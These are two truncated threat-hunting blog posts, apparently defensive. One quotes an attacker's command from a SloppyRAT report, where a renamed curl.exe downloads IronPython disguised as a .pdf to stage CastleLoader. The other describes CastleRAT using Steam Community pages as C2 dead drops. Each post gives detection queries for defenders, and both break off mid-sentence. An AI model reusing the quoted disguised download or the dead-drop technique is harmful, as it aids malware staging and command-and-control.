Know Your Adversary

Hello everyone! As you know, threat actors frequently abuse various command and scripting interpreters at different stages of the attack lifecycle. Today, we’ll look at a less common example involving Python (T1059.006) . To develop hunting hypotheses, let’s take a look at Zscaler’s report on SloppyRAT. In particular, we’re interested in the section covering Python. First, the attackers used a renamed copy of curl.exe to download IronPython from GitHub: "C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip In this case, we can hunt for suspicious IronPython downloads performed with cURL: event_type: "processcreatewin" AND proc_file_originalfilename: "curl.exe" AND cmdline: *ironpython* The attackers then used the downloaded interpreter to deliver CastleLoader, followed ...

Hello everyone! Dead Drop Resolver (T1102.001) technique becomes more and more popular among adversaries. Let's look at another example - how threat actors abuse Steam Community pages. We'll look at CastleRAT . Since August 2025, the malware leverages Steam Community pages as C2 dead drops. It means that we can hunt for suspicious resolutions of steamcommunity[.]com . Of course, you should not forget about exclusions, so here's what to exclude based on my telemetry: event_type: "dnsreqwin" AND dns_rname: "steamcommunity.com" AND NOT proc_file_path: ("steam.exe" OR "steam" OR "kaspersky" OR "windows defender" OR "networkservice.exe" OR "svchost.exe" OR "Counter Strike" OR "McAfee" OR "eaanticheat.gameservice.exe" OR "WinProxy" OR "NetLimiter" OR "cs.exe" OR "rave.exe" OR "ScumLauncher.exe" OR "ExpressConnect...